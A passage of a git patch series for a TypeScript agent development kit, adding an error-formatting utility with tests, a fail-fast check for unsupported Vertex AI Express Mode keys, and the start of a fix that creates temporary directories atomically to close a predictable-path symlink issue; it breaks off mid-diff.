/dev/null +++ b/core/src/utils/error_utils.ts @@ -0,0 +1,161 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Helpers for turning arbitrary thrown values into readable, root-cause + * messages, so that wrapped, aggregated or HTTP-flavoured failures are not + * reduced to an empty or generic string when they are reported. + */ + +/** + * Maximum number of characters of an HTTP response body surfaced by + * {@link formatError} before it is truncated. Bounds both log volume and the + * exposure of potentially sensitive response payloads. + */ +const MAX_RESPONSE_BODY_LENGTH = 1000; + +/** Marker appended to a response body that exceeds {@link MAX_RESPONSE_BODY_LENGTH}. */ +const TRUNCATION_MARKER = '... [truncated]'; + +/** Returned by {@link formatError} when the input carries no usable message. */ +const UNKNOWN_ERROR = 'Unknown error'; + +/** Lowest and highest values treated as an HTTP status code. */ +const MIN_HTTP_STATUS = 100; +const MAX_HTTP_STATUS = 599; + +/** + * Narrows an arbitrary value to an indexable record, or `undefined` when it is + * not a non-null object. Used to safely inspect duck-typed error shapes without + * resorting to `any`. + */ +function asRecord(value: unknown): Record | undefined { + return value !== null && typeof value === 'object' + ? (value as Record) + : undefined; +} + +/** Returns the first argument that is a string, or `undefined` if none are. */ +function firstString(...values: unknown[]): string | undefined { + for (const value of values) { + if (typeof value === 'string') { + return value; + } + } + return undefined; +} + +/** Truncates a response body to {@link MAX_RESPONSE_BODY_LENGTH} characters. */ +function truncateBody(body: string): string { + return body.length > MAX_RESPONSE_BODY_LENGTH + ? body.slice(0, MAX_RESPONSE_BODY_LENGTH) + TRUNCATION_MARKER + : body; +} + +/** Returns the plain, non-recursive message for a single value. */ +function baseMessage(err: unknown): string { + if (err instanceof Error) { + return err.message; + } + if (typeof err === 'string') { + return err; + } + return String(err); +} + +/** + * Extracts synchronously-available HTTP details (status, status text and a + * truncated response body) from a duck-typed error, or `undefined` when none + * are present. Several shapes are supported: errors carrying `.status` + * directly, axios/httpx-style errors nesting them under `.response`, and + * errors that expose the status as a numeric `.code` (as the MCP SDK's + * `StreamableHTTPError` does). A body is only read when it is already a + * string, so no async `Response.text()` is ever invoked. + */ +function extractHttpDetails(err: unknown): string | undefined { + const record = asRecord(err); + if (record === undefined) { + return undefined; + } + const response = asRecord(record['response']); + const rawStatus = record['status'] ?? record['code'] ?? response?.['status']; + const status = + typeof rawStatus === 'number' && + rawStatus >= MIN_HTTP_STATUS && + rawStatus <= MAX_HTTP_STATUS + ? rawStatus + : undefined; + const statusText = firstString( + record['statusText'], + response?.['statusText'], + ); + const body = firstString( + response?.['data'], + response?.['body'], + response?.['text'], + ); + if (status === undefined && body === undefined) { + return undefined; + } + const head = + status === undefined + ? 'HTTP error' + : `HTTP ${status}${statusText === undefined ? '' : ` ${statusText}`}`; + return body === undefined ? head : `${head}: ${truncateBody(body)}`; +} + +/** + * Recursively flattens aggregate and wrapped errors into a single message. + * `seen` guards against cyclic `cause`/`errors` graphs. + */ +function formatErrorRecursive(err: unknown, seen: Set): string { + if (err === null || err === undefined) { + return UNKNOWN_ERROR; + } + if (typeof err === 'object') { + if (seen.has(err)) { + return baseMessage(err); + } + seen.add(err); + } + if (err instanceof AggregateError && err.errors.length > 0) { + return err.errors.map((sub) => formatErrorRecursive(sub, seen)).join(' | '); + } + const http = extractHttpDetails(err); + const base = baseMessage(err); + // Cycles (including a direct `err.cause === err`) are handled by `seen`. + const cause = asRecord(err)?.['cause']; + const causeMessage = + cause !== undefined ? formatErrorRecursive(cause, seen) : undefined; + let message = base.length > 0 ? base : UNKNOWN_ERROR; + if (http !== undefined) { + message = `${message} (${http})`; + } + if ( + causeMessage !== undefined && + http === undefined && + !message.includes(causeMessage) + ) { + message = `${message}: ${causeMessage}`; + } + return message; +} + +/** + * Formats an arbitrary thrown value into a readable, root-cause message. + * + * Recursively flattens `AggregateError.errors` (joining leaves with ` | `) and + * unwraps the `Error.cause` chain, and — when HTTP details are synchronously + * available — appends the status code and a response-body snippet truncated to + * 1000 characters with a `... [truncated]` marker. It never throws and is safe + * on `null`/`undefined` and cyclic error graphs. + * + * @param err The thrown or rejected value to format. + * @return A single human-readable message describing the root cause(s). + */ +export function formatError(err: unknown): string { + return formatErrorRecursive(err, new Set()); +} diff --git a/core/test/tools/mcp/mcp_session_manager_test.ts b/core/test/tools/mcp/mcp_session_manager_test.ts index bc51fc321..c67055411 100644 --- a/core/test/tools/mcp/mcp_session_manager_test.ts +++ b/core/test/tools/mcp/mcp_session_manager_test.ts @@ -4,11 +4,14 @@ * SPDX-License-Identifier: Apache-2.0 */ -import {MCPSessionManager} from '@google/adk'; +import {MCPConnectionParams, MCPSessionManager} from '@google/adk'; import {Client} from '@modelcontextprotocol/sdk/client/index.js'; import {StdioClientTransport} from '@modelcontextprotocol/sdk/client/stdio.js'; import {StreamableHTTPClientTransport} from '@modelcontextprotocol/sdk/client/streamableHttp.js'; import {describe, expect, it, vi} from 'vitest'; +// The logger singleton is internal (not part of the public API), so it is +// imported via a relative path to spy on the exact instance the manager uses. +import {logger} from '../../../src/utils/logger.js'; vi.hoisted(() => { vi.resetModules(); @@ -181,4 +184,118 @@ describe('MCPSessionManager', () => { await manager.closeSession(client2); expect(manager.getActiveSessions()).toEqual([]); }); + + it('does not connect for an unknown connection type', async () => { + const manager = new MCPSessionManager({ + type: 'UnknownConnectionType', + } as unknown as MCPConnectionParams); + + const client = await manager.createSession(); + + expect(client).toBeDefined(); + expect(client.connect).not.toHaveBeenCalled(); + }); + + describe('connection error handling', () => { + it('wraps a connect failure with a formatted message', async () => { + vi.mocked(Client).mockImplementationOnce( + () => + ({ + connect: vi + .fn() + .mockRejectedValue( + Object.assign( + new Error( + 'Streamable HTTP error: Error POSTing to endpoint: Forbidden', + ), + {code: 403}, + ), + ), + close: vi.fn().mockResolvedValue(undefined), + }) as unknown as Client, + ); + + const manager = new MCPSessionManager({ + type: 'StreamableHTTPConnectionParams', + url: 'http://test-url', + }); + + const error = await manager.createSession().catch((e: unknown) => e); + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toContain( + 'Failed to create MCP session', + ); + expect((error as Error).message).toContain('403'); + expect((error as Error).message).toContain('Forbidden'); + }); + + it('preserves the original error as the cause', async () => { + const original = Object.assign(new Error('boom'), {code: 401}); + vi.mocked(Client).mockImplementationOnce( + () => + ({ + connect: vi.fn().mockRejectedValue(original), + close: vi.fn().mockResolvedValue(undefined), + }) as unknown as Client, + ); + + const manager = new MCPSessionManager({ + type: 'StreamableHTTPConnectionParams', + url: 'http://test-url', + }); + + const error = await manager.createSession().catch((e: unknown) => e); + expect((error as Error).cause).toBe(original); + }); + + it('wraps an AggregateError connect failure with joined leaves', async () => { + vi.mocked(Client).mockImplementationOnce( + () => + ({ + connect: vi + .fn() + .mockRejectedValue( + new AggregateError([new Error('err A'), new Error('err B')]), + ), + close: vi.fn().mockResolvedValue(undefined), + }) as unknown as Client, + ); + + const manager = new MCPSessionManager({ + type: 'StdioConnectionParams', + serverParams: {command: 'test-command'}, + }); + + const error = await manager.createSession().catch((e: unknown) => e); + const message = (error as Error).message; + expect(message).toContain('err A'); + expect(message).toContain('err B'); + expect(message).toContain(' | '); + }); + + it('logs a formatted message for a background transport error', async () => { + const errorSpy = vi.spyOn(logger, 'error').mockImplementation(() => {}); + + const manager = new MCPSessionManager({ + type: 'StreamableHTTPConnectionParams', + url: 'http://test-url', + }); + await manager.createSession(); + + const transport = vi + .mocked(StreamableHTTPClientTransport) + .mock.instances.at(-1); + expect(transport?.onerror).toBeTypeOf('function'); + transport?.onerror?.(new Error('background stream died')); + + expect(errorSpy).toHaveBeenCalledWith( + expect.stringContaining('MCP transport error'), + ); + expect(errorSpy).toHaveBeenCalledWith( + expect.stringContaining('background stream died'), + ); + + errorSpy.mockRestore(); + }); + }); }); diff --git a/core/test/utils/error_utils_test.ts b/core/test/utils/error_utils_test.ts new file mode 100644 index 000000000..11cfd3636 --- /dev/null +++ b/core/test/utils/error_utils_test.ts @@ -0,0 +1,210 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import {describe, expect, it} from 'vitest'; +import {formatError} from '../../src/utils/error_utils.js'; + +const TRUNCATION_MARKER = '... [truncated]'; +const MAX_RESPONSE_BODY_LENGTH = 1000; + +/** Builds an axios/httpx-style error carrying a `.response` object. */ +function httpError(status: number, body: string, statusText?: string): Error { + return Object.assign(new Error(`request failed with status ${status}`), { + response: {status, statusText, data: body}, + }); +} + +describe('formatError', () => { + it('returns the message of a single plain error', () => { + expect(formatError(new Error('normal error'))).toBe('normal error'); + }); + + it('surfaces the leaf message of an error wrapped via cause', () => { + const err = new Error('outer', {cause: new Error('root cause')}); + expect(formatError(err)).toContain('root cause'); + }); + + it('joins an AggregateError of multiple sub-errors with " | "', () => { + const err = new AggregateError([new Error('err A'), new Error('err B')]); + const result = formatError(err); + expect(result).toContain('err A'); + expect(result).toContain('err B'); + expect(result).toContain(' | '); + }); + + it('surfaces every leaf of an AggregateError mixing HTTP and plain errors', () => { + const err = new AggregateError([ + httpError(403, 'Forbidden access', 'Forbidden'), + new Error('another error'), + ]); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('Forbidden access'); + expect(result).toContain('another error'); + }); + + it('extracts status and body from an HTTP 403 response shape', () => { + const err = httpError(403, 'Forbidden access', 'Forbidden'); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('Forbidden access'); + }); + + it('extracts status and body from an HTTP 401 response shape', () => { + const err = httpError(401, 'Missing credentials', 'Unauthorized'); + const result = formatError(err); + expect(result).toContain('401'); + expect(result).toContain('Missing credentials'); + }); + + it('extracts the status from a StreamableHTTPError-shaped error', () => { + const err = Object.assign( + new Error( + 'Streamable HTTP error: Error POSTing to endpoint: {"error":"forbidden"}', + ), + {code: 403}, + ); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('forbidden'); + }); + + it('truncates a long response body to the configured maximum', () => { + const err = httpError(500, 'x'.repeat(5000)); + const result = formatError(err); + expect(result).toContain(TRUNCATION_MARKER); + expect(result).toContain('x'.repeat(MAX_RESPONSE_BODY_LENGTH)); + expect(result).not.toContain('x'.repeat(MAX_RESPONSE_BODY_LENGTH + 1)); + }); + + it('does not truncate a body of exactly the maximum length', () => { + const err = httpError(500, 'y'.repeat(MAX_RESPONSE_BODY_LENGTH)); + const result = formatError(err); + expect(result).not.toContain(TRUNCATION_MARKER); + expect(result).toContain('y'.repeat(MAX_RESPONSE_BODY_LENGTH)); + }); + + it('truncates a body one character over the maximum length', () => { + const err = httpError(500, 'z'.repeat(MAX_RESPONSE_BODY_LENGTH + 1)); + expect(formatError(err)).toContain(TRUNCATION_MARKER); + }); + + it('extracts HTTP details from a leaf error reached via the cause chain', () => { + const err = new Error('connection failed', { + cause: httpError(403, 'Forbidden access', 'Forbidden'), + }); + const result = formatError(err); + expect(result).toContain('403'); + expect(result).toContain('Forbidden access'); + }); + + it('returns a stable constant for null and undefined', () => { + expect(formatError(null)).toBe('Unknown error'); + expect(formatError(undefined)).toBe('Unknown error'); + }); + + it('returns a raw string input verbatim', () => { + expect(formatError('raw string')).toBe('raw string'); + }); + + it('returns a non-empty string for a non-Error object without throwing', () => { + const result = formatError({foo: 1}); + expect(typeof result).toBe('string'); + expect(result.length).toBeGreaterThan(0); + }); + + it('is safe against a self-referential cause cycle', () => { + const err = new Error('self'); + err.cause = err; + expect(formatError(err)).toBe('self'); + }); + + it('is safe against an AggregateError that contains itself', () => { + const err = new AggregateError([new Error('leaf')]); + err.errors.push(err); + expect(() => formatError(err)).not.toThrow(); + expect(formatError(err)).toContain('leaf'); + }); + + it('does not treat a string Node system code as an HTTP status', () => { + const err = Object.assign(new Error('conn refused'), { + code: 'ECONNREFUSED', + }); + const result = formatError(err); + expect(result).toBe('conn refused'); + expect(result).not.toContain('HTTP'); + }); + + it('reads the status when the response object is null', () => { + const err = Object.assign(new Error('boom'), {status: 403, response: null}); + expect(formatError(err)).toContain('403'); + }); + + it('surfaces a response body even when no status is available', () => { + const err = Object.assign(new Error('boom'), { + response: {data: 'body without status'}, + }); + const result = formatError(err); + expect(result).toContain('body without status'); + expect(result).toContain('HTTP error'); + }); + + it('ignores a negative numeric code (e.g. JSON-RPC) as an HTTP status', () => { + const err = Object.assign(new Error('rpc failure'), {code: -32601}); + const result = formatError(err); + expect(result).toBe('rpc failure'); + expect(result).not.toContain('HTTP'); + }); + + it('ignores an out-of-range numeric code as an HTTP status', () => { + const err = Object.assign(new Error('weird code'), {code: 9999}); + const result = formatError(err); + expect(result).toBe('weird code'); + expect(result).not.toContain('9999'); + }); + + it('does not invoke or surface a function-valued response text', () => { + const err = Object.assign(new Error('boom'), { + response: {status: 500, text: () => 'should not be read'}, + }); + const result = formatError(err); + expect(result).toContain('500'); + expect(result).not.toContain('should not be read'); + }); + + it('returns the unknown-error constant for an empty AggregateError', () => { + expect(formatError(new AggregateError([]))).toBe('Unknown error'); + }); + + it('does not append the cause when the base already has HTTP details', () => { + const err = Object.assign(new Error('outer'), { + code: 403, + cause: new Error('inner detail'), + }); + const result = formatError(err); + expect(result).toContain('HTTP 403'); + expect(result).not.toContain('inner detail'); + }); + + it('does not duplicate a cause message already present in the base', () => { + const err = new Error('wrapper failed: boom', {cause: new Error('boom')}); + expect(formatError(err)).toBe('wrapper failed: boom'); + }); + + it('reads a string response body from the "body" field', () => { + const err = Object.assign(new Error('boom'), { + response: {status: 502, body: 'gateway body'}, + }); + expect(formatError(err)).toContain('gateway body'); + }); + + it('reads a string response body from the "text" field', () => { + const err = Object.assign(new Error('boom'), { + response: {status: 502, text: 'text body'}, + }); + expect(formatError(err)).toContain('text body'); + }); +}); From e1112c6df905853ad99d84f6490d12e4dbbbfd22 Mon Sep 17 00:00:00 2001 From: Amaad Martin <57241464+AmaadMartin@users.noreply.github.com> Date: Tue, 4 Aug 2026 15:16:34 -0700 Subject: [PATCH 08/11] Fix: fail fast when a Vertex AI Express Mode API key cannot be used (#563) * fix(vertexai): fail fast when an Express Mode API key cannot be used VertexAiSessionService and VertexAiMemoryBankService resolved an Express Mode API key in their constructors and then built the Agent Engine client without it, producing a service that authenticated with ADC against projects/undefined/locations/undefined. The @google-cloud/vertexai Client constructor only accepts project, location and apiEndpoint, so the key can never be sent. Throw a shared, actionable error instead of silently dropping the credential. * test(vertexai): cover Express Mode fail-fast in both Agent Engine services Mock the Agent Engine Client in both suites so the default client path can be asserted without network or credentials, and make the pre-existing no-project/location test hermetic by stubbing the express-mode env vars. * refactor(vertexai): tighten Express Mode guard message and tests Address review feedback: shorten the error text and its doc comment, stop advertising expressModeApiKey in the fallback message now that it can never work, and table the three express-mode throw cases. * refactor(vertexai): drop dead env stubs and vendor signature from message Second review pass: GOOGLE_API_KEY is never read when GOOGLE_GENAI_USE_VERTEXAI is unset, the agentEngineId guard already runs first structurally, and enumerating the upstream constructor options in the error would go stale. * refactor(vertexai): fold duplicate guard test and trim redundant assertions * chore: park vertex_ai_session_service_test.ts at upstream content Temporarily takes upstream/main's copy of this file so the merge of upstream/main lands conflict-free; the express mode tests are restored in the following commit. * test(vertexai): restore express mode session tests after the upstream merge Re-applies the express mode suite on top of upstream's version of this file, which gained the ttl/expireTime and ApiError 404 tests. --------- Co-authored-by: Amaad Martin --- .../memory/vertex_ai_memory_bank_service.ts | 8 ++- .../src/sessions/vertex_ai_session_service.ts | 20 +++--- core/src/utils/vertex_ai_utils.ts | 6 ++ .../vertex_ai_memory_bank_service_test.ts | 66 ++++++++++++++++++- .../vertex_ai_session_service_test.ts | 65 +++++++++++++++++- 5 files changed, 152 insertions(+), 13 deletions(-) diff --git a/core/src/memory/vertex_ai_memory_bank_service.ts b/core/src/memory/vertex_ai_memory_bank_service.ts index 08d9a3ec6..f0406d77a 100644 --- a/core/src/memory/vertex_ai_memory_bank_service.ts +++ b/core/src/memory/vertex_ai_memory_bank_service.ts @@ -16,7 +16,10 @@ import {Content, createUserContent} from '@google/genai'; import {Event} from '../events/event.js'; import {Session} from '../sessions/session.js'; import {logger} from '../utils/logger.js'; -import {getExpressModeApiKey} from '../utils/vertex_ai_utils.js'; +import { + EXPRESS_MODE_UNSUPPORTED_MESSAGE, + getExpressModeApiKey, +} from '../utils/vertex_ai_utils.js'; import { BaseMemoryService, SearchMemoryRequest, @@ -143,6 +146,9 @@ export class VertexAiMemoryBankService implements BaseMemoryService { if (options.client) { this.memories = options.client.agentEnginesInternal.memories; } else { + if (this.expressModeApiKey && (!this.projectId || !this.location)) { + throw new Error(EXPRESS_MODE_UNSUPPORTED_MESSAGE); + } const client = new Client({ project: this.projectId, location: this.location, diff --git a/core/src/sessions/vertex_ai_session_service.ts b/core/src/sessions/vertex_ai_session_service.ts index af9f7bb56..6398b73f8 100644 --- a/core/src/sessions/vertex_ai_session_service.ts +++ b/core/src/sessions/vertex_ai_session_service.ts @@ -22,7 +22,10 @@ import {Event} from '../events/event.js'; import {EventActions} from '../events/event_actions.js'; import {ToolConfirmation} from '../tools/tool_confirmation.js'; import {logger} from '../utils/logger.js'; -import {getExpressModeApiKey} from '../utils/vertex_ai_utils.js'; +import { + EXPRESS_MODE_UNSUPPORTED_MESSAGE, + getExpressModeApiKey, +} from '../utils/vertex_ai_utils.js'; import {partialCopy} from '../utils/partial_copy.js'; import { @@ -104,18 +107,17 @@ export class VertexAiSessionService extends BaseSessionService { options.expressModeApiKey, ); - if (!options.sessions) { - if (!this.expressModeApiKey && (!this.projectId || !this.location)) { - throw new Error( - 'Either (Project ID and Location) or an expressModeApiKey is required.', - ); - } - } - // sessions is primarily for testing to inject a mock client. if (options.sessions) { this.sessions = options.sessions; } else { + if (!this.projectId || !this.location) { + throw new Error( + this.expressModeApiKey + ? EXPRESS_MODE_UNSUPPORTED_MESSAGE + : 'Project ID and Location are required.', + ); + } const client = new Client({ project: this.projectId, location: this.location, diff --git a/core/src/utils/vertex_ai_utils.ts b/core/src/utils/vertex_ai_utils.ts index b4ff3cc07..fcc68eda1 100644 --- a/core/src/utils/vertex_ai_utils.ts +++ b/core/src/utils/vertex_ai_utils.ts @@ -6,6 +6,12 @@ import {getBooleanEnvVar} from './env_aware_utils.js'; +export const EXPRESS_MODE_UNSUPPORTED_MESSAGE = + 'Vertex AI Express Mode (expressModeApiKey / GOOGLE_API_KEY) is not ' + + 'supported: the @google-cloud/vertexai Agent Engine client cannot send an ' + + 'API key. Provide projectId and location (with Application Default ' + + 'Credentials), or inject a preconfigured client.'; + /** * Validates and returns the API key for Express Mode. * diff --git a/core/test/memory/vertex_ai_memory_bank_service_test.ts b/core/test/memory/vertex_ai_memory_bank_service_test.ts index f29a2b4f3..7ff25af74 100644 --- a/core/test/memory/vertex_ai_memory_bank_service_test.ts +++ b/core/test/memory/vertex_ai_memory_bank_service_test.ts @@ -15,7 +15,25 @@ import { VertexAiMemoryBankServiceOptions, } from '@google/adk'; import {Content, Part} from '@google/genai'; -import {beforeEach, describe, expect, it, vi} from 'vitest'; +import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest'; + +const clientConstructor = vi.hoisted(() => vi.fn()); + +// The service imports Client from the package root, so the mock must target it. +vi.mock('@google-cloud/vertexai', () => ({ + Client: class { + readonly agentEnginesInternal = {memories: {}}; + + constructor(options: {project?: string; location?: string}) { + clientConstructor(options); + } + }, +})); + +afterEach(() => { + vi.unstubAllEnvs(); + clientConstructor.mockClear(); +}); describe('VertexAiMemoryBankService', () => { let service: VertexAiMemoryBankService; @@ -89,6 +107,52 @@ describe('VertexAiMemoryBankService', () => { loggerSpy.mockRestore(); }); + describe('express mode', () => { + beforeEach(() => { + vi.stubEnv('GOOGLE_GENAI_USE_VERTEXAI', 'true'); + vi.stubEnv('GOOGLE_API_KEY', 'env-api-key'); + }); + + it.each([ + ['an expressModeApiKey option', {expressModeApiKey: 'test-api-key'}], + ['an API key from the environment', {}], + ['an API key and only a project', {projectId: 'test-project'}], + ])('throws for %s instead of dropping the key', (_, options) => { + expect( + () => + new VertexAiMemoryBankService({ + agentEngineId: 'test-engine-id', + ...options, + }), + ).toThrow('Vertex AI Express Mode'); + expect(clientConstructor).not.toHaveBeenCalled(); + }); + + it('keeps using project and location when an API key is also in the environment', () => { + new VertexAiMemoryBankService({ + agentEngineId: 'test-engine-id', + projectId: 'test-project', + location: 'us-central1', + }); + + expect(clientConstructor).toHaveBeenCalledWith({ + project: 'test-project', + location: 'us-central1', + }); + }); + + it('never builds a client when one is injected', () => { + new VertexAiMemoryBankService({ + agentEngineId: 'test-engine-id', + client: { + agentEnginesInternal: {memories: mockMemories}, + } as unknown as Client, + }); + + expect(clientConstructor).not.toHaveBeenCalled(); + }); + }); + describe('addSessionToMemory', () => { it('calls generateInternal with events', async () => { const session = createSession({ diff --git a/core/test/sessions/vertex_ai_session_service_test.ts b/core/test/sessions/vertex_ai_session_service_test.ts index c0e834607..97396d11a 100644 --- a/core/test/sessions/vertex_ai_session_service_test.ts +++ b/core/test/sessions/vertex_ai_session_service_test.ts @@ -8,7 +8,7 @@ import {Sessions} from '@google-cloud/vertexai/build/src/genai/sessions.js'; import {createEvent, State, VertexAiSessionService} from '@google/adk'; import {Session} from '@google/adk/sessions/session.js'; import {ApiError} from '@google/genai'; -import {beforeEach, describe, expect, it, vi} from 'vitest'; +import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest'; // Mock the unreleased nodejs-vertexai package so the import resolves vi.mock('nodejs-vertexai', () => ({ @@ -21,6 +21,24 @@ vi.mock('nodejs-vertexai', () => ({ }, })); +const clientConstructor = vi.hoisted(() => vi.fn()); + +// The service imports Client from this deep path, so the mock must target it. +vi.mock('@google-cloud/vertexai/build/src/genai/client.js', () => ({ + Client: class { + readonly agentEnginesInternal = {sessions: {}}; + + constructor(options: {project?: string; location?: string}) { + clientConstructor(options); + } + }, +})); + +afterEach(() => { + vi.unstubAllEnvs(); + clientConstructor.mockClear(); +}); + import { isVertexAiConnectionString, quoteFilterLiteral, @@ -127,9 +145,52 @@ describe('VertexAiSessionService', () => { }); it('throws an error if no client and no project/location provided', () => { + vi.stubEnv('GOOGLE_GENAI_USE_VERTEXAI', undefined); + expect(() => new VertexAiSessionService({})).toThrow( - 'Either (Project ID and Location) or an expressModeApiKey is required.', + 'Project ID and Location are required.', ); + expect( + () => new VertexAiSessionService({projectId: 'test-project'}), + ).toThrow('Project ID and Location are required.'); + }); + + describe('express mode', () => { + beforeEach(() => { + vi.stubEnv('GOOGLE_GENAI_USE_VERTEXAI', 'true'); + vi.stubEnv('GOOGLE_API_KEY', 'env-api-key'); + }); + + it.each([ + ['an expressModeApiKey option', {expressModeApiKey: 'test-api-key'}], + ['an API key from the environment', {}], + ['an API key and only a project', {projectId: 'test-project'}], + ])('throws for %s instead of dropping the key', (_, options) => { + expect(() => new VertexAiSessionService(options)).toThrow( + 'Vertex AI Express Mode', + ); + expect(clientConstructor).not.toHaveBeenCalled(); + }); + + it('keeps using project and location when an API key is also in the environment', () => { + new VertexAiSessionService({ + projectId: 'test-project', + location: 'us-central1', + }); + + expect(clientConstructor).toHaveBeenCalledWith({ + project: 'test-project', + location: 'us-central1', + }); + }); + + it('never builds a client when sessions are injected', () => { + new VertexAiSessionService({ + sessions: mockClient as unknown as Sessions, + }); + + expect(clientConstructor).not.toHaveBeenCalled(); + }); }); it('uses agentEngineId if provided', async () => { From 81c1422268f1295d7ae99e05a7d74cc51682362f Mon Sep 17 00:00:00 2001 From: Amaad Martin <57241464+AmaadMartin@users.noreply.github.com> Date: Tue, 4 Aug 2026 15:47:24 -0700 Subject: [PATCH 09/11] Fix: create dev-package temp directories atomically with mkdtemp (no predictable parent) (#615) * fix(dev): create CLI temp directories atomically with mkdtemp getTempDir composed a temp path from a fixed prefix (adk_agent_loader, cloud_run_deploy_src, agent_engine_deploy_src) and a random leaf, then callers materialised it with a recursive mkdir. Recursive mkdir traverses an existing symlink at the intermediate component, so another local user who pre-creates that predictable parent owns every directory ADK writes into afterwards - the compiled agent bundle that is then import()ed, and the source tree handed to gcloud for deployment. createTempDir now creates the directory with a single mkdtemp call directly under the system temp root, so the whole path is unpredictable and, on POSIX, mode 0700. esbuild no longer sets allowOverwrite, and the deploy commands only pre-clean a temp folder the caller supplied. * test(dev): cover atomic temp-directory creation and the deploy default Adds file_utils_temp_dir_test.ts, which exercises createTempDir against the real filesystem (the sibling file_utils_test.ts mocks node:fs/promises module-wide, so real mkdtemp behaviour is unobservable there) and pins that a symlink planted at the predictable parent path cannot redirect the output. Also pins that the agent loader compiles without allowOverwrite, that both deploy commands create a private folder and skip the destructive pre-clean when the caller supplies none, and that the CLI leaves --temp_folder unset so no directory is created on an unrelated invocation. * fix(dev): build the gcloud args before creating the Cloud Run temp dir prepareGCloudArguments throws when the user passes an extra gcloud arg that conflicts with one ADK manages, and that error is deliberately propagated out of deployToCloudRun rather than caught. Creating the temp directory before that call left an empty 0700 directory behind on the user-error path, because the try/finally that removes it starts 30 lines later. Build the argument array first, while nothing exists on disk, then create the directory immediately before the try and push '--source ' onto the array. This also removes the tempFolder parameter that had been threaded through prepareGCloudArguments, restoring its original signature. The redundant callerTempFolder alias is dropped in both deploy files in favour of reading options.tempFolder directly. --------- Co-authored-by: Amaad Martin --- dev/src/cli/cli.ts | 7 +- dev/src/cli/deploy/cli_deploy_agent_engine.ts | 24 ++-- dev/src/cli/deploy/cli_deploy_cloud_run.ts | 26 ++-- dev/src/cli/deploy/deploy_utils.ts | 7 +- dev/src/utils/agent_loader.ts | 6 +- dev/src/utils/file_utils.ts | 27 ++--- dev/test/cli/cli_deploy_agent_engine_test.ts | 21 ++++ dev/test/cli/cli_deploy_cloud_run_test.ts | 31 +++++ dev/test/cli/cli_test.ts | 16 +++ dev/test/utils/agent_loader_test.ts | 40 ++++-- dev/test/utils/file_utils_temp_dir_test.ts | 114 ++++++++++++++++++ dev/test/utils/file_utils_test.ts | 19 +-- 12 files changed, 272 insertions(+), 66 deletions(-) create mode 100644 dev/test/utils/file_utils_temp_dir_test.ts diff --git a/dev/src/cli/cli.ts b/dev/src/cli/cli.ts index f227c979f..da6db54ab 100644 --- a/dev/src/cli/cli.ts +++ b/dev/src/cli/cli.ts @@ -19,7 +19,6 @@ import * as path from 'path'; import {runIntegrationTests} from '../integration/run_integration_tests.js'; import {AdkApiServer} from '../server/adk_api_server.js'; import {FileModuleType} from '../utils/agent_loader.js'; -import {getTempDir} from '../utils/file_utils.js'; import {AdkLogger} from '../utils/logger.js'; import {version} from '../version.js'; import {createAgent} from './cli_create.js'; @@ -410,8 +409,7 @@ export function createProgram(): Command { ) .option( '--temp_folder [string]', - 'Optional. Temp folder for the generated Cloud Run source files (default: a timestamped folder in the system temp directory).', - getTempDir('cloud_run_deploy_src'), + 'Optional. Temp folder for the generated Cloud Run source files (default: a private directory created in the system temp directory).', ) .addOption(ADK_VERSION_OPTION) .addOption(WITH_UI_OPTION) @@ -475,8 +473,7 @@ export function createProgram(): Command { .addOption(REPOSITORY_DEPLOY_OPTION) .option( '--temp_folder [string]', - 'Optional. Temp folder for the generated source files (default: a timestamped folder in the system temp directory).', - getTempDir('agent_engine_deploy_src'), + 'Optional. Temp folder for the generated source files (default: a private directory created in the system temp directory).', ) .addOption(ADK_VERSION_OPTION) .addOption(WITH_UI_OPTION) diff --git a/dev/src/cli/deploy/cli_deploy_agent_engine.ts b/dev/src/cli/deploy/cli_deploy_agent_engine.ts index 434ed04d1..9d3f18031 100644 --- a/dev/src/cli/deploy/cli_deploy_agent_engine.ts +++ b/dev/src/cli/deploy/cli_deploy_agent_engine.ts @@ -10,7 +10,7 @@ import {Client} from '@google-cloud/vertexai/build/src/genai/client.js'; import {ReasoningEngine as VertexReasoningEngine} from '@google-cloud/vertexai/build/src/genai/types.js'; import {AgentLoader} from '../../utils/agent_loader.js'; -import {isFile, isFolderExists} from '../../utils/file_utils.js'; +import {createTempDir, isFile, isFolderExists} from '../../utils/file_utils.js'; import { BaseDeployOptions, copyAgentFiles, @@ -79,24 +79,24 @@ export async function deployToAgentEngine(options: DeployToAgentEngineOptions) { console.info('Starting deployment to Agent Engine...'); - if (await isFolderExists(options.tempFolder)) { - await fs.rm(options.tempFolder, {recursive: true, force: true}); + const tempFolder = + options.tempFolder ?? (await createTempDir('agent_engine_deploy_src')); + + if (options.tempFolder && (await isFolderExists(tempFolder))) { + await fs.rm(tempFolder, {recursive: true, force: true}); } try { - await fs.mkdir(options.tempFolder, {recursive: true}); + await fs.mkdir(tempFolder, {recursive: true}); console.info('Copying agent source files...'); - await copyAgentFiles( - agentLoader, - path.join(options.tempFolder, 'agents', appName), - ); + await copyAgentFiles(agentLoader, path.join(tempFolder, 'agents', appName)); console.info('Creating package.json...'); - await createPackageJson(agentDir, options.tempFolder); + await createPackageJson(agentDir, tempFolder); console.info('Creating Dockerfile...'); - await createDockerFile(options.tempFolder, { + await createDockerFile(tempFolder, { appName, project: options.project, region: options.region, @@ -124,7 +124,7 @@ export async function deployToAgentEngine(options: DeployToAgentEngineOptions) { 'submit', '--tag', imageTag, - options.tempFolder, + tempFolder, '--project', options.project, '--gcs-log-dir', @@ -215,7 +215,7 @@ export async function deployToAgentEngine(options: DeployToAgentEngineOptions) { throw e; } finally { console.info('Cleaning up temporary files...'); - await fs.rm(options.tempFolder, {recursive: true, force: true}); + await fs.rm(tempFolder, {recursive: true, force: true}); await agentLoader.disposeAll(); console.info('Temporary files cleaned up.'); } diff --git a/dev/src/cli/deploy/cli_deploy_cloud_run.ts b/dev/src/cli/deploy/cli_deploy_cloud_run.ts index ad55ab8fd..eeec5ddd6 100644 --- a/dev/src/cli/deploy/cli_deploy_cloud_run.ts +++ b/dev/src/cli/deploy/cli_deploy_cloud_run.ts @@ -8,7 +8,7 @@ import * as path from 'node:path'; import 